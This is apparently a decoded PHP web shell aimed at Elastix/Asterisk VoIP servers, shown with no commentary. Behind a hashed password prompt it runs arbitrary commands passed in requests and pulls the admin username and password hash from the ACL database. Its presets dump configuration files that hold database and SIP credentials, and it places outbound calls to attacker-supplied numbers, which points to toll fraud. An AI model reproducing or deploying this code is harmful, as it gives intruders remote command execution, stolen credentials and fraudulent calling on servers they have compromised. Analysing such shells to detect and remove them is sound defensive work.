PHP Decode

<?php /*E5R7WLYS6D*/ 
session_name("elastixSession"); 
session_start(); 
if ((isset($_REQUEST['md5']) && md5($_REQUEST['md5']) != 'a4db9c8f1f48397686fe659bc7bacc55') || !isset($_REQUEST['md5']) && !isset($_SESSION['uid'])) { 
    echo '<form action="" method="post">'; 
    echo '<input type="text" placehoder="./hackz" name="md5" />'; 
    echo '<input type="submit" value="./login" />'; 
    echo '</form>'; 
    echo '<? --  ((/*189.211.179.90*/)) -- ?>'; 
    exit(); 
} 
$_SESSION['uid'] = 1; 
if ($_SESSION['uid']) { 
    if ($_REQUEST['web'] == 'no') { 
        system($_REQUEST['cmd']); 
    } else { 
        include_once "/var/www/html/libs/paloSantoDB.class.php"; 
        include_once "/var/www/html/libs/paloSantoACL.class.php"; 
        $pDB = new paloDB("sqlite3:////var/www/db/acl.db"); 
        $db = $pDB->fetchTable("SELECT name, md5_password,extension from acl_user WHERE id ='1'"); 
        $_SESSION['elastix_user'] = $db[0][0]; 
        $_SESSION['elastix_pass'] = $db[0][1]; 
        echo '<h1 style="text-align: center; color-red">L0RD &nbsp; MAGNITO V1.0</h1>'; 
        echo '<style>input,select{height: 30px; padding: 5px; font-weight: bolder;}</style>'; 
        echo '<form action="" method="post">'; 
        echo '<input type="text" name="context" value="asterisk-outcalls" />'; 
        echo '<input type="text" name="time" value="60" />'; 
        echo '<input type="text" name="prs" value="00" />'; 
        echo '<input type="text" name="num" placeholder="number" />'; 
        echo '<input type="submit" name="submit" value="call" />'; 
        echo '</form><br />'; 
        echo '<form action="" method="post">'; 
        echo '<select name="cmd">'; 
        echo '<option value="cat /etc/elastix.conf">elastix.conf</option>'; 
        echo '<option value="grep AMPDB /etc/amportal.conf">amportal.conf</option>'; 
        echo '<option value="cat /etc/asterisk/sip_additional.conf">sip_additional.conf</option>'; 
        echo '<option value="cat /etc/asterisk/extensions_custom.conf">extensions_custom.conf</option>'; 
        echo '<option value="ps -aux --forest">ps -aux --forest</option>'; 
        echo '<option value=\'asterisk -rx "core show channels"\'>active calls</option>'; 
        echo '<input type="submit" name="submit" value="exec" />'; 
        echo '</form>'; 
        echo '<form action="" method="post">'; 
        echo '<input type="text" name="cmd" />'; 
        echo '<input type="submit" name="submit" value="run" />'; 
        echo '</form><br />'; 
        echo '<a href="/" >Admin GO</a>'; 
        echo '<hr /><pre>'; 
        switch ($_REQUEST['submit']) { 
            case 'call': 
                system('asterisk -rx "channel originate Local/' . $_REQUEST['prs'] . $_REQUEST['num'] . '@' . $_REQUEST['context'] . ' application wait ' . $_REQUEST['time'] . '"'); 
            break; 
            case 'run': 
            case 'exec': 
                system($_REQUEST['cmd']); 
            break; 
            default: 
                system("grep AMPDB /etc/amportal.conf"); 
            break; 
        } 
    } 
} 
?>/*SHMTLZVXO3CXOCR*/